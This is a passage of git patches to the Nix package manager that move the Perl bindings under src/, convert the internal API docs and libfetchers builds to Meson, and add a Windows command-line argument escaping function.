b/src/perl/MANIFEST similarity index 100% rename from perl/MANIFEST rename to src/perl/MANIFEST diff --git a/perl/lib/Nix/Config.pm.in b/src/perl/lib/Nix/Config.pm.in similarity index 100% rename from perl/lib/Nix/Config.pm.in rename to src/perl/lib/Nix/Config.pm.in diff --git a/perl/lib/Nix/CopyClosure.pm b/src/perl/lib/Nix/CopyClosure.pm similarity index 100% rename from perl/lib/Nix/CopyClosure.pm rename to src/perl/lib/Nix/CopyClosure.pm diff --git a/perl/lib/Nix/Manifest.pm b/src/perl/lib/Nix/Manifest.pm similarity index 100% rename from perl/lib/Nix/Manifest.pm rename to src/perl/lib/Nix/Manifest.pm diff --git a/perl/lib/Nix/SSH.pm b/src/perl/lib/Nix/SSH.pm similarity index 100% rename from perl/lib/Nix/SSH.pm rename to src/perl/lib/Nix/SSH.pm diff --git a/perl/lib/Nix/Store.pm b/src/perl/lib/Nix/Store.pm similarity index 100% rename from perl/lib/Nix/Store.pm rename to src/perl/lib/Nix/Store.pm diff --git a/perl/lib/Nix/Store.xs b/src/perl/lib/Nix/Store.xs similarity index 99% rename from perl/lib/Nix/Store.xs rename to src/perl/lib/Nix/Store.xs index e751c2be1..15eb5c4f8 100644 --- a/perl/lib/Nix/Store.xs +++ b/src/perl/lib/Nix/Store.xs @@ -1,4 +1,5 @@ -#include "nix/config.h" +#include "config-util.h" +#include "config-store.h" #include "EXTERN.h" #include "perl.h" diff --git a/perl/lib/Nix/Utils.pm b/src/perl/lib/Nix/Utils.pm similarity index 100% rename from perl/lib/Nix/Utils.pm rename to src/perl/lib/Nix/Utils.pm diff --git a/perl/lib/Nix/meson.build b/src/perl/lib/Nix/meson.build similarity index 100% rename from perl/lib/Nix/meson.build rename to src/perl/lib/Nix/meson.build diff --git a/perl/meson.build b/src/perl/meson.build similarity index 96% rename from perl/meson.build rename to src/perl/meson.build index 350e5bd67..06abb4f2e 100644 --- a/perl/meson.build +++ b/src/perl/meson.build @@ -7,17 +7,17 @@ project ( 'nix-perl', 'cpp', - meson_version : '>= 0.64.0', + version : files('.version'), + meson_version : '>= 1.1', license : 'LGPL-2.1-or-later', ) # setup env #------------------------------------------------- fs = import('fs') -nix_version = get_option('version') cpp = meson.get_compiler('cpp') nix_perl_conf = configuration_data() -nix_perl_conf.set('PACKAGE_VERSION', nix_version) +nix_perl_conf.set('PACKAGE_VERSION', meson.project_version()) # set error arguments @@ -64,7 +64,7 @@ yath = find_program('yath', required : false) bzip2_dep = dependency('bzip2') curl_dep = dependency('libcurl') libsodium_dep = dependency('libsodium') -# nix_util_dep = dependency('nix-util') + nix_store_dep = dependency('nix-store') diff --git a/perl/meson_options.txt b/src/perl/meson.options similarity index 88% rename from perl/meson_options.txt rename to src/perl/meson.options index 82ca52f37..9b5b6b1d9 100644 --- a/perl/meson_options.txt +++ b/src/perl/meson.options @@ -5,11 +5,6 @@ # compiler args #============================================================================ -option( - 'version', - type : 'string', - description : 'nix-perl version') - option( 'tests', type : 'feature', diff --git a/perl/default.nix b/src/perl/package.nix similarity index 79% rename from perl/default.nix rename to src/perl/package.nix index 45682381e..a31b1b66c 100644 --- a/perl/default.nix +++ b/src/perl/package.nix @@ -6,17 +6,19 @@ , meson , ninja , pkg-config -, nix +, nix-store , curl , bzip2 , xz , boost , libsodium , darwin +, versionSuffix ? "" }: perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: { - name = "nix-perl-${nix.version}"; + pname = "nix-perl"; + version = lib.fileContents ./.version + versionSuffix; src = fileset.toSource { root = ./.; @@ -24,7 +26,7 @@ perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: { ./MANIFEST ./lib ./meson.build - ./meson_options.txt + ./meson.options ] ++ lib.optionals finalAttrs.doCheck [ ./.yath.rc.in ./t @@ -38,7 +40,7 @@ perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: { ]; buildInputs = [ - nix + nix-store curl bzip2 xz @@ -55,8 +57,13 @@ perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: { perlPackages.Test2Harness ]; + preConfigure = + # "Inline" .version so its not a symlink, and includes the suffix + '' + echo ${finalAttrs.version} > .version + ''; + mesonFlags = [ - (lib.mesonOption "version" (builtins.readFile ../.version)) (lib.mesonOption "dbi_path" "${perlPackages.DBI}/${perl.libPrefix}") (lib.mesonOption "dbd_sqlite_path" "${perlPackages.DBDSQLite}/${perl.libPrefix}") (lib.mesonEnable "tests" finalAttrs.doCheck) diff --git a/perl/t/init.t b/src/perl/t/init.t similarity index 100% rename from perl/t/init.t rename to src/perl/t/init.t diff --git a/perl/t/meson.build b/src/perl/t/meson.build similarity index 100% rename from perl/t/meson.build rename to src/perl/t/meson.build From 6e34c6832796781667562e1e40e85fc09a085987 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Mon, 17 Jun 2024 15:50:59 +0200 Subject: [PATCH 0838/1251] Convert the internal API doc build to Meson --- Makefile | 11 ---- Makefile.config.in | 1 - configure.ac | 5 -- doc/internal-api/local.mk | 7 --- doc/manual/src/contributing/documentation.md | 12 ++-- flake.nix | 10 ++++ maintainers/hydra.nix | 6 +- meson.build | 1 + package.nix | 19 ++----- .../internal-api-docs}/.gitignore | 0 src/internal-api-docs/.version | 1 + .../internal-api-docs}/doxygen.cfg.in | 46 +++++++-------- src/internal-api-docs/meson.build | 31 ++++++++++ src/internal-api-docs/package.nix | 56 +++++++++++++++++++ 14 files changed, 136 insertions(+), 70 deletions(-) delete mode 100644 doc/internal-api/local.mk rename {doc/internal-api => src/internal-api-docs}/.gitignore (100%) create mode 120000 src/internal-api-docs/.version rename {doc/internal-api => src/internal-api-docs}/doxygen.cfg.in (82%) create mode 100644 src/internal-api-docs/meson.build create mode 100644 src/internal-api-docs/package.nix diff --git a/Makefile b/Makefile index 6c96ef5db..257560028 100644 --- a/Makefile +++ b/Makefile @@ -68,10 +68,6 @@ ifeq ($(ENABLE_DOC_GEN), yes) makefiles-late += doc/manual/local.mk endif -ifeq ($(ENABLE_INTERNAL_API_DOCS), yes) -makefiles-late += doc/internal-api/local.mk -endif - ifeq ($(ENABLE_EXTERNAL_API_DOCS), yes) makefiles-late += doc/external-api/local.mk endif @@ -132,13 +128,6 @@ manual-html manpages: @exit 1 endif -ifneq ($(ENABLE_INTERNAL_API_DOCS), yes) -.PHONY: internal-api-html -internal-api-html: - @echo "Internal API docs are disabled. Configure with '--enable-internal-api-docs', or avoid calling 'make internal-api-html'." - @exit 1 -endif - ifneq ($(ENABLE_EXTERNAL_API_DOCS), yes) .PHONY: external-api-html external-api-html: diff --git a/Makefile.config.in b/Makefile.config.in index 7f517898c..56e67e5cd 100644 --- a/Makefile.config.in +++ b/Makefile.config.in @@ -11,7 +11,6 @@ EDITLINE_LIBS = @EDITLINE_LIBS@ ENABLE_BUILD = @ENABLE_BUILD@ ENABLE_DOC_GEN = @ENABLE_DOC_GEN@ ENABLE_FUNCTIONAL_TESTS = @ENABLE_FUNCTIONAL_TESTS@ -ENABLE_INTERNAL_API_DOCS = @ENABLE_INTERNAL_API_DOCS@ ENABLE_EXTERNAL_API_DOCS = @ENABLE_EXTERNAL_API_DOCS@ ENABLE_S3 = @ENABLE_S3@ ENABLE_UNIT_TESTS = @ENABLE_UNIT_TESTS@ diff --git a/configure.ac b/configure.ac index 8211bec0b..2fefbe95a 100644 --- a/configure.ac +++ b/configure.ac @@ -171,11 +171,6 @@ AS_IF( [test "$ENABLE_BUILD" == "no" && test "$ENABLE_DOC_GEN" == "yes"], [AC_MSG_ERROR([Cannot enable generated docs when building overall is disabled. Please do not pass '--enable-doc-gen' or do not pass '--disable-build'.])]) -# Building without API docs is the default as Nix' C++ interfaces are internal and unstable. -AC_ARG_ENABLE(internal-api-docs, AS_HELP_STRING([--enable-internal-api-docs],[Build API docs for Nix's internal unstable C++ interfaces]), - ENABLE_INTERNAL_API_DOCS=$enableval, ENABLE_INTERNAL_API_DOCS=no) -AC_SUBST(ENABLE_INTERNAL_API_DOCS) - AC_ARG_ENABLE(external-api-docs, AS_HELP_STRING([--enable-external-api-docs],[Build API docs for Nix's external unstable C interfaces]), ENABLE_EXTERNAL_API_DOCS=$enableval, ENABLE_EXTERNAL_API_DOCS=no) AC_SUBST(ENABLE_EXTERNAL_API_DOCS) diff --git a/doc/internal-api/local.mk b/doc/internal-api/local.mk deleted file mode 100644 index be9b7bb55..000000000 --- a/doc/internal-api/local.mk +++ /dev/null @@ -1,7 +0,0 @@ -$(docdir)/internal-api/html/index.html $(docdir)/internal-api/latex: $(d)/doxygen.cfg src/**/*.hh - mkdir -p $(docdir)/internal-api - { cat $< ; echo "OUTPUT_DIRECTORY=$(docdir)/internal-api" ; } | doxygen - - -# Generate the HTML API docs for Nix's unstable internal interfaces. -.PHONY: internal-api-html -internal-api-html: $(docdir)/internal-api/html/index.html diff --git a/doc/manual/src/contributing/documentation.md b/doc/manual/src/contributing/documentation.md index 6e7c0a967..a5e2bfa83 100644 --- a/doc/manual/src/contributing/documentation.md +++ b/doc/manual/src/contributing/documentation.md @@ -196,15 +196,17 @@ You can also build and view it yourself: [Doxygen API documentation]: https://hydra.nixos.org/job/nix/master/internal-api-docs/latest/download-by-type/doc/internal-api-docs ```console -# nix build .#hydraJobs.internal-api-docs -# xdg-open ./result/share/doc/nix/internal-api/html/index.html +$ nix build .#hydraJobs.internal-api-docs +$ xdg-open ./result/share/doc/nix/internal-api/html/index.html ``` or inside `nix-shell` or `nix develop`: -``` -# make internal-api-html -# xdg-open ./outputs/doc/share/doc/nix/internal-api/html/index.html +```console +$ mesonConfigurePhase +$ cd build +$ ninja src/internal-api-docs/html +$ xdg-open src/internal-api-docs/html/index.html ``` ## C API documentation diff --git a/flake.nix b/flake.nix index 2b0e3c613..77b0870a2 100644 --- a/flake.nix +++ b/flake.nix @@ -202,6 +202,15 @@ ; }; + + nix-internal-api-docs = final.callPackage ./src/internal-api-docs/package.nix { + inherit + fileset + stdenv + versionSuffix + ; + }; + # See https://github.com/NixOS/nixpkgs/pull/214409 # Remove when fixed in this flake's nixpkgs pre-commit = @@ -279,6 +288,7 @@ # system, we should reenable these. #"nix-util" = { }; #"nix-store" = { }; + "nix-internal-api-docs" = { }; } // lib.optionalAttrs (builtins.elem system linux64BitSystems) { dockerImage = diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix index 6c07e65d4..235752979 100644 --- a/maintainers/hydra.nix +++ b/maintainers/hydra.nix @@ -124,11 +124,7 @@ in }; # API docs for Nix's unstable internal C++ interfaces. - internal-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ../package.nix { - inherit fileset; - doBuild = false; - enableInternalAPIDocs = true; - }; + internal-api-docs = nixpkgsFor.x86_64-linux.native.nix-internal-api-docs; # API docs for Nix's C bindings. external-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ../package.nix { diff --git a/meson.build b/meson.build index f1ee7a571..95a6665a7 100644 --- a/meson.build +++ b/meson.build @@ -9,3 +9,4 @@ project('nix-dev-shell', 'cpp', subproject('libutil') subproject('libstore') subproject('perl') +subproject('internal-api-docs') diff --git a/package.nix b/package.nix index cb9554235..64096c7aa 100644 --- a/package.nix +++ b/package.nix @@ -93,9 +93,8 @@ # - readline , readlineFlavor ? if stdenv.hostPlatform.isWindows then "readline" else "editline" -# Whether to build the internal/external API docs, can be done separately from +# Whether to build the external API docs, can be done separately from # everything else. -, enableInternalAPIDocs ? forDevShell , enableExternalAPIDocs ? forDevShell # Whether to install unit tests. This is useful when cross compiling @@ -185,11 +184,9 @@ in { ./scripts/local.mk ] ++ lib.optionals buildUnitTests [ ./doc/manual - ] ++ lib.optionals enableInternalAPIDocs [ - ./doc/internal-api ] ++ lib.optionals enableExternalAPIDocs [ ./doc/external-api - ] ++ lib.optionals (enableInternalAPIDocs || enableExternalAPIDocs) [ + ] ++ lib.optionals enableExternalAPIDocs [ # Source might not be compiled, but still must be available # for Doxygen to gather comments. (fileset.difference ./src ./src/perl) @@ -207,7 +204,7 @@ in { ++ lib.optional doBuild "dev" # If we are doing just build or just docs, the one thing will use # "out". We only need additional outputs if we are doing both. - ++ lib.optional (doBuild && (enableManual || enableInternalAPIDocs || enableExternalAPIDocs)) "doc" + ++ lib.optional (doBuild && (enableManual || enableExternalAPIDocs)) "doc" ++ lib.optional installUnitTests "check" ++ lib.optional doCheck "testresults" ; @@ -231,7 +228,7 @@ in { ] ++ lib.optionals (doInstallCheck || enableManual) [ jq # Also for custom mdBook preprocessor. ] ++ lib.optional stdenv.hostPlatform.isLinux util-linux - ++ lib.optional (enableInternalAPIDocs || enableExternalAPIDocs) doxygen + ++ lib.optional enableExternalAPIDocs doxygen ; buildInputs = lib.optionals doBuild [ @@ -294,7 +291,6 @@ in { (lib.enableFeature doBuild "build") (lib.enableFeature buildUnitTests "unit-tests") (lib.enableFeature doInstallCheck "functional-tests") - (lib.enableFeature enableInternalAPIDocs "internal-api-docs") (lib.enableFeature enableExternalAPIDocs "external-api-docs") (lib.enableFeature enableManual "doc-gen") (lib.enableFeature enableGC "gc") @@ -324,7 +320,6 @@ in { ''; installTargets = lib.optional doBuild "install" - ++ lib.optional enableInternalAPIDocs "internal-api-html" ++ lib.optional enableExternalAPIDocs "external-api-html"; installFlags = "sysconfdir=$(out)/etc"; @@ -349,11 +344,7 @@ in { ) + lib.optionalString enableManual '' mkdir -p ''${!outputDoc}/nix-support echo "doc manual ''${!outputDoc}/share/doc/nix/manual" >> ''${!outputDoc}/nix-support/hydra-build-products - '' + lib.optionalString enableInternalAPIDocs '' - mkdir -p ''${!outputDoc}/nix-support - echo "doc internal-api-docs $out/share/doc/nix/internal-api/html" >> ''${!outputDoc}/nix-support/hydra-build-products - '' - + lib.optionalString enableExternalAPIDocs '' + '' + lib.optionalString enableExternalAPIDocs '' mkdir -p ''${!outputDoc}/nix-support echo "doc external-api-docs $out/share/doc/nix/external-api/html" >> ''${!outputDoc}/nix-support/hydra-build-products ''; diff --git a/doc/internal-api/.gitignore b/src/internal-api-docs/.gitignore similarity index 100% rename from doc/internal-api/.gitignore rename to src/internal-api-docs/.gitignore diff --git a/src/internal-api-docs/.version b/src/internal-api-docs/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/internal-api-docs/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/doc/internal-api/doxygen.cfg.in b/src/internal-api-docs/doxygen.cfg.in similarity index 82% rename from doc/internal-api/doxygen.cfg.in rename to src/internal-api-docs/doxygen.cfg.in index 6c6c325bd..9e7425581 100644 --- a/doc/internal-api/doxygen.cfg.in +++ b/src/internal-api-docs/doxygen.cfg.in @@ -12,7 +12,9 @@ PROJECT_NAME = "Nix" # could be handy for archiving the generated documentation or if some version # control system is used. -PROJECT_NUMBER = @PACKAGE_VERSION@ +PROJECT_NUMBER = @PROJECT_NUMBER@ + +OUTPUT_DIRECTORY = @OUTPUT_DIRECTORY@ # Using the PROJECT_BRIEF tag one can provide an optional one line description # for a project that appears at the top of each page and should give viewer a @@ -36,27 +38,27 @@ GENERATE_LATEX = NO # so they can expand variables despite configure variables. INPUT = \ - src/libcmd \ - src/libexpr \ - src/libexpr/flake \ - tests/unit/libexpr \ - tests/unit/libexpr/value \ - tests/unit/libexpr/test \ - tests/unit/libexpr/test/value \ - src/libexpr/value \ - src/libfetchers \ - src/libmain \ - src/libstore \ - src/libstore/build \ - src/libstore/builtins \ - tests/unit/libstore \ - tests/unit/libstore/test \ - src/libutil \ - tests/unit/libutil \ - tests/unit/libutil/test \ - src/nix \ - src/nix-env \ - src/nix-store + @src@/src/libcmd \ + @src@/src/libexpr \ + @src@/src/libexpr/flake \ + @src@/tests/unit/libexpr \ + @src@/tests/unit/libexpr/value \ + @src@/tests/unit/libexpr/test \ + @src@/tests/unit/libexpr/test/value \ + @src@/src/libexpr/value \ + @src@/src/libfetchers \ + @src@/src/libmain \ + @src@/src/libstore \ + @src@/src/libstore/build \ + @src@/src/libstore/builtins \ + @src@/tests/unit/libstore \ + @src@/tests/unit/libstore/test \ + @src@/src/libutil \ + @src@/tests/unit/libutil \ + @src@/tests/unit/libutil/test \ + @src@/src/nix \ + @src@/src/nix-env \ + @src@/src/nix-store # If the MACRO_EXPANSION tag is set to YES, doxygen will expand all macro names # in the source code. If set to NO, only conditional compilation will be diff --git a/src/internal-api-docs/meson.build b/src/internal-api-docs/meson.build new file mode 100644 index 000000000..2568c56cf --- /dev/null +++ b/src/internal-api-docs/meson.build @@ -0,0 +1,31 @@ +project('nix-internal-api-docs', + version : files('.version'), + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +fs = import('fs') + +doxygen_cfg = configure_file( + input : 'doxygen.cfg.in', + output : 'doxygen.cfg', + configuration : { + 'PROJECT_NUMBER': meson.project_version(), + 'OUTPUT_DIRECTORY' : meson.current_build_dir(), + 'src' : fs.parent(fs.parent(meson.project_source_root())), + }, +) + +doxygen = find_program('doxygen', native : true, required : true) + +custom_target( + 'internal-api-docs', + command : [ doxygen , doxygen_cfg ], + input : [ + doxygen_cfg, + ], + output : 'html', + install : true, + install_dir : get_option('datadir') / 'doc/nix/internal-api', + build_always_stale : true, +) diff --git a/src/internal-api-docs/package.nix b/src/internal-api-docs/package.nix new file mode 100644 index 000000000..bb20a68d3 --- /dev/null +++ b/src/internal-api-docs/package.nix @@ -0,0 +1,56 @@ +{ lib +, stdenv +, releaseTools +, fileset + +, meson +, ninja +, doxygen + +# Configuration Options + +, versionSuffix ? "" +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "nix-internal-api-docs"; + version = lib.fileContents ./.version + versionSuffix; + + src = fileset.toSource { + root = ../..; + fileset = let + cpp = fileset.fileFilter (file: file.hasExt "cc" || file.hasExt "hh"); + in fileset.unions [ + ./meson.build + ./doxygen.cfg.in + # Source is not compiled, but still must be available for Doxygen + # to gather comments. + (cpp ../.) + (cpp ../../tests/unit) + ]; + }; + + nativeBuildInputs = [ + meson + ninja + doxygen + ]; + + postUnpack = '' + sourceRoot=$sourceRoot/src/internal-api-docs + ''; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix + '' + echo ${finalAttrs.version} > .version + ''; + + enableParallelBuilding = true; + + strictDeps = true; + + meta = { + platforms = lib.platforms.all; + }; +}) From b11cf8166f63fa061d98cd5812a94234fe974845 Mon Sep 17 00:00:00 2001 From: PoweredByPie Date: Mon, 17 Jun 2024 13:12:28 -0700 Subject: [PATCH 0839/1251] Format runProgram declaration --- src/libutil/windows/processes.cc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/libutil/windows/processes.cc b/src/libutil/windows/processes.cc index bb796ce2e..1d8035c62 100644 --- a/src/libutil/windows/processes.cc +++ b/src/libutil/windows/processes.cc @@ -78,8 +78,8 @@ int Pid::wait() } // TODO: Merge this with Unix's runProgram since it's identical logic. -std::string runProgram(Path program, bool lookupPath, const Strings & args, - const std::optional & input, bool isInteractive) +std::string runProgram( + Path program, bool lookupPath, const Strings & args, const std::optional & input, bool isInteractive) { auto res = runProgram(RunOptions{ .program = program, .lookupPath = lookupPath, .args = args, .input = input, .isInteractive = isInteractive}); From 706edf26eb3ec1781afe16c925db5b7071494539 Mon Sep 17 00:00:00 2001 From: Tom Bereknyei Date: Wed, 5 Jun 2024 21:36:18 -0400 Subject: [PATCH 0840/1251] build: meson for libfetchers --- flake.nix | 12 +++ maintainers/hydra.nix | 1 + meson.build | 1 + src/libfetchers/.version | 1 + src/libfetchers/meson.build | 141 ++++++++++++++++++++++++++++++++++++ src/libfetchers/package.nix | 106 +++++++++++++++++++++++++++ src/libstore/meson.build | 5 +- src/libutil/package.nix | 1 + 8 files changed, 266 insertions(+), 2 deletions(-) create mode 120000 src/libfetchers/.version create mode 100644 src/libfetchers/meson.build create mode 100644 src/libfetchers/package.nix diff --git a/flake.nix b/flake.nix index 77b0870a2..5c8d84a75 100644 --- a/flake.nix +++ b/flake.nix @@ -180,6 +180,15 @@ busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell; }; + nix-fetchers = final.callPackage ./src/libfetchers/package.nix { + inherit + fileset + stdenv + officialRelease + versionSuffix + ; + }; + nix = final.callPackage ./package.nix { inherit @@ -288,6 +297,7 @@ # system, we should reenable these. #"nix-util" = { }; #"nix-store" = { }; + #"nix-fetchers" = { }; "nix-internal-api-docs" = { }; } // lib.optionalAttrs (builtins.elem system linux64BitSystems) { @@ -351,12 +361,14 @@ mesonFlags = map (transformFlag "libutil") pkgs.nix-util.mesonFlags ++ map (transformFlag "libstore") pkgs.nix-store.mesonFlags + ++ map (transformFlag "libfetchers") pkgs.nix-fetchers.mesonFlags ++ lib.optionals havePerl (map (transformFlag "perl") pkgs.nix-perl-bindings.mesonFlags) ; nativeBuildInputs = attrs.nativeBuildInputs or [] ++ pkgs.nix-util.nativeBuildInputs ++ pkgs.nix-store.nativeBuildInputs + ++ pkgs.nix-fetchers.nativeBuildInputs ++ lib.optionals havePerl pkgs.nix-perl-bindings.nativeBuildInputs ++ [ modular.pre-commit.settings.package diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix index 235752979..293dee5cd 100644 --- a/maintainers/hydra.nix +++ b/maintainers/hydra.nix @@ -37,6 +37,7 @@ let "nix" "nix-util" "nix-store" + "nix-fetchers" ]; in { diff --git a/meson.build b/meson.build index 95a6665a7..ebad238b1 100644 --- a/meson.build +++ b/meson.build @@ -8,5 +8,6 @@ project('nix-dev-shell', 'cpp', subproject('libutil') subproject('libstore') +subproject('libfetchers') subproject('perl') subproject('internal-api-docs') diff --git a/src/libfetchers/.version b/src/libfetchers/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libfetchers/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build new file mode 100644 index 000000000..cab8d63eb --- /dev/null +++ b/src/libfetchers/meson.build @@ -0,0 +1,141 @@ +project('nix-fetchers', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +# See note in ../nix-util/meson.build +deps_private = [ ] + +# See note in ../nix-util/meson.build +deps_public = [ ] + +# See note in ../nix-util/meson.build +deps_other = [ ] + +configdata = configuration_data() + +nix_util = dependency('nix-util') +if nix_util.type_name() == 'internal' + # subproject sadly no good for pkg-config module + deps_other += nix_util +else + deps_public += nix_util +endif + +nix_store = dependency('nix-store') +if nix_store.type_name() == 'internal' + # subproject sadly no good for pkg-config module + deps_other += nix_store +else + deps_public += nix_store +endif + + +nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') +deps_public += nlohmann_json + +libgit2 = dependency('libgit2') +deps_public += libgit2 + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.h', + '-include', 'config-store.h', + # '-include', 'config-fetchers.h', + '-Wno-deprecated-declarations', + '-Wimplicit-fallthrough', + '-Werror=switch', + '-Werror=switch-enum', + '-Wdeprecated-copy', + '-Wignored-qualifiers', + # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked + # at ~1% overhead in `nix search`. + # + # FIXME: remove when we get meson 1.4.0 which will default this to on for us: + # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions + '-D_GLIBCXX_ASSERTIONS=1', + language : 'cpp', +) + +sources = files( + 'attrs.cc', + 'cache.cc', + 'fetch-settings.cc', + 'fetch-to-store.cc', + 'fetchers.cc', + 'filtering-source-accessor.cc', + 'git.cc', + 'git-utils.cc', + 'github.cc', + 'indirect.cc', + 'mercurial.cc', + 'mounted-source-accessor.cc', + 'path.cc', + 'store-path-accessor.cc', + 'registry.cc', + 'tarball.cc', +) + +headers = files( + 'attrs.hh', + 'cache.hh', + 'fetch-settings.hh', + 'fetch-to-store.hh', + 'filtering-source-accessor.hh', + 'git-utils.hh', + 'mounted-source-accessor.hh', + 'fetchers.hh', + 'registry.hh', + 'store-path-accessor.hh', + 'tarball.hh', +) + +this_library = library( + 'nixfetchers', + sources, + dependencies : deps_public + deps_private + deps_other, + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +requires = [] +if nix_util.type_name() == 'internal' + # `requires` cannot contain declared dependencies (from the + # subproject), so we need to do this manually + requires += 'nix-util' +endif +if nix_store.type_name() == 'internal' + requires += 'nix-store' +endif +requires += deps_public + +import('pkgconfig').generate( + this_library, + filebase : meson.project_name(), + name : 'Nix', + description : 'Nix Package Manager', + subdirs : ['nix'], + extra_cflags : ['-std=c++2a'], + requires : requires, + requires_private : deps_private, +) + +meson.override_dependency(meson.project_name(), declare_dependency( + include_directories : include_directories('.'), + link_with : this_library, + compile_args : ['-std=c++2a'], + dependencies : [nix_util, nix_store], +)) diff --git a/src/libfetchers/package.nix b/src/libfetchers/package.nix new file mode 100644 index 000000000..800256030 --- /dev/null +++ b/src/libfetchers/package.nix @@ -0,0 +1,106 @@ +{ lib +, stdenv +, releaseTools +, fileset + +, meson +, ninja +, pkg-config + +, nix-util +, nix-store +, nlohmann_json +, libgit2 +, man + +# Configuration Options + +, versionSuffix ? "" +, officialRelease ? false + +# Check test coverage of Nix. Probably want to use with with at least +# one of `doCheck` or `doInstallCheck` enabled. +, withCoverageChecks ? false + +# Avoid setting things that would interfere with a functioning devShell +, forDevShell ? false +}: + +let + version = lib.fileContents ./.version + versionSuffix; + + mkDerivation = + if withCoverageChecks + then + # TODO support `finalAttrs` args function in + # `releaseTools.coverageAnalysis`. + argsFun: + releaseTools.coverageAnalysis (let args = argsFun args; in args) + else stdenv.mkDerivation; +in + +mkDerivation (finalAttrs: { + pname = "nix-fetchers"; + inherit version; + + src = fileset.toSource { + root = ./.; + fileset = fileset.unions [ + ./meson.build + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + }; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + libgit2 + ]; + + propagatedBuildInputs = [ + nix-store + nix-util + nlohmann_json + ]; + + preConfigure = + # "Inline" .version so its not a symlink, and includes the suffix + '' + echo ${version} > .version + ''; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + enableParallelBuilding = true; + + postInstall = + # Remove absolute path to boost libs + '' + ''; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + # TODO `releaseTools.coverageAnalysis` in Nixpkgs needs to be updated + # to work with `strictDeps`. + strictDeps = !withCoverageChecks; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +} // lib.optionalAttrs withCoverageChecks { + lcovFilter = [ "*-tab.*" ]; + + hardeningDisable = ["fortify"]; +}) diff --git a/src/libstore/meson.build b/src/libstore/meson.build index c9c6f66f1..a605b43e1 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -425,12 +425,13 @@ this_library = library( install_headers(headers, subdir : 'nix', preserve_path : true) -requires = deps_public +requires = [] if nix_util.type_name() == 'internal' # `requires` cannot contain declared dependencies (from the # subproject), so we need to do this manually - requires = [ 'nix-util' ] + requires + requires += 'nix-util' endif +requires += deps_public import('pkgconfig').generate( this_library, diff --git a/src/libutil/package.nix b/src/libutil/package.nix index dd93e5663..b36e3879c 100644 --- a/src/libutil/package.nix +++ b/src/libutil/package.nix @@ -72,6 +72,7 @@ mkDerivation (finalAttrs: { ; propagatedBuildInputs = [ + boost.dev libarchive nlohmann_json ]; From 4662e7d8568f55f7f56c55e7976b68a25824d1a3 Mon Sep 17 00:00:00 2001 From: PoweredByPie Date: Mon, 17 Jun 2024 14:57:57 -0700 Subject: [PATCH 0841/1251] Implement windowsEscape --- src/libutil/windows/processes.cc | 48 +++++++++++++++++++++++++++++++- 1 file changed, 47 insertions(+), 1 deletion(-) diff --git a/src/libutil/windows/processes.cc b/src/libutil/windows/processes.cc index 1d8035c62..cf1949aa2 100644 --- a/src/libutil/windows/processes.cc +++ b/src/libutil/windows/processes.cc @@ -164,6 +164,52 @@ AutoCloseFD nullFD() return nul; } +// Adapted from +// https://blogs.msdn.microsoft.com/twistylittlepassagesallalike/2011/04/23/everyone-quotes-command-line-arguments-the-wrong-way/ +std::string windowsEscape(const std::string & str, bool cmd) +{ + // TODO: This doesn't handle cmd.exe escaping. + if (cmd) { + throw UnimplementedError("cmd.exe escaping is not implemented"); + } + + if (str.find_first_of(" \t\n\v\"") == str.npos && !str.empty()) { + // No need to escape this one, the nonempty contents don't have a special character + return str; + } + std::string buffer; + // Add the opening quote + buffer += '"'; + for (auto iter = str.begin();; ++iter) { + size_t backslashes = 0; + while (iter != str.end() && *iter == '\\') { + ++iter; + ++backslashes; + } + + // We only escape backslashes if: + // - They come immediately before the closing quote + // - They come immediately before a quote in the middle of the string + // Both of these cases break the escaping if not handled. Otherwise backslashes are fine as-is + if (iter == str.end()) { + // Need to escape each backslash + buffer.append(backslashes * 2, '\\'); + // Exit since we've reached the end of the string + break; + } else if (*iter == '"') { + // Need to escape each backslash and the intermediate quote character + buffer.append(backslashes * 2, '\\'); + buffer += "\\\""; + } else { + // Don't escape the backslashes since they won't break the delimiter + buffer.append(backslashes, '\\'); + buffer += *iter; + } + } + // Add the closing quote + return buffer + '"'; +} + Pid spawnProcess(const Path & realProgram, 